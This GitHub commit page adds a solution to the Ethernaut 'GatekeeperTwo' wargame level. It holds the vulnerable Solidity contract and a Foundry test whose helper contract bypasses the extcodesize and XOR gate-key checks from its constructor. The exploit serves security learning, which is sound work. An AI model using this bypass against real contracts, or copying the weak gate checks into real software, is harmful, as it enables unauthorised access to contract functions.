Skip to content

Commit

Permalink
feat: ethernaut level 14
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Sep 19, 2024
1 parent daaaf53 commit 6e1bda3
Show file tree
Hide file tree
Showing 2 changed files with 90 additions and 0 deletions.
37 changes: 37 additions & 0 deletions src/Ethernaut/GatekeeperTwo.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract GatekeeperTwo {
address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin, 'Gate 1');
_;
}

modifier gateTwo() {
uint256 x;
assembly {
x := extcodesize(caller())
}
require(x == 0, 'Gate 2');
_;
}

modifier gateThree(bytes8 _gateKey) {
require(
uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^
uint64(_gateKey) ==
type(uint64).max,
'Gate 3'
);
_;
}

function enter(
bytes8 _gateKey
) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
53 changes: 53 additions & 0 deletions test/Ethernaut/GatekeeperTwoExploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/Ethernaut/GatekeeperTwo.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';

contract Helper {
constructor(address _target) {
// To pass gate 2, simply put all the exploit logic inside the `constructor` function.
// Indeed, a contract does not have source code available during construction.
// This is a very bad way to check that the caller is an EOA.
// Reference: https://consensys.github.io/smart-contract-best-practices/development-recommendations/solidity-specific/extcodesize-checks/

// The gate key should be equal to the negation of `uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))`.
// Since solidity does not support negation, it is possible to use the XOR operation (^) with 0xff (ones).
// Reference: https://medium.com/@imolfar/bitwise-operations-and-bit-manipulation-in-solidity-ethereum-1751f3d2e216
// This is required for gate 3.
bytes8 gateKey = bytes8(keccak256(abi.encodePacked(address(this)))) ^
0xffffffffffffffff;
GatekeeperTwo(_target).enter(gateKey);
}
}

contract GatekeeperTwoExploit is Test {
GatekeeperTwo target;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');

function setUp() public {
vm.startPrank(deployer);
target = new GatekeeperTwo();
console2.log('Target contract deployed');
vm.stopPrank();
}

function testExploit() public {
address entrant = target.entrant();
console2.log('Current entrant: %s', entrant);
assertEq(entrant, address(0x0));

// Set exploiter to be the msg.sender.
// Note that we also pass a second argument to override cast's default tx.origin.
// This is required for gate 1.
vm.startPrank(exploiter, exploiter);
new Helper(address(target));
vm.stopPrank();

entrant = target.entrant();
console2.log('New entrant: %s', entrant);
assertEq(entrant, address(exploiter));
}
}

0 comments on commit 6e1bda3

Please sign in to comment.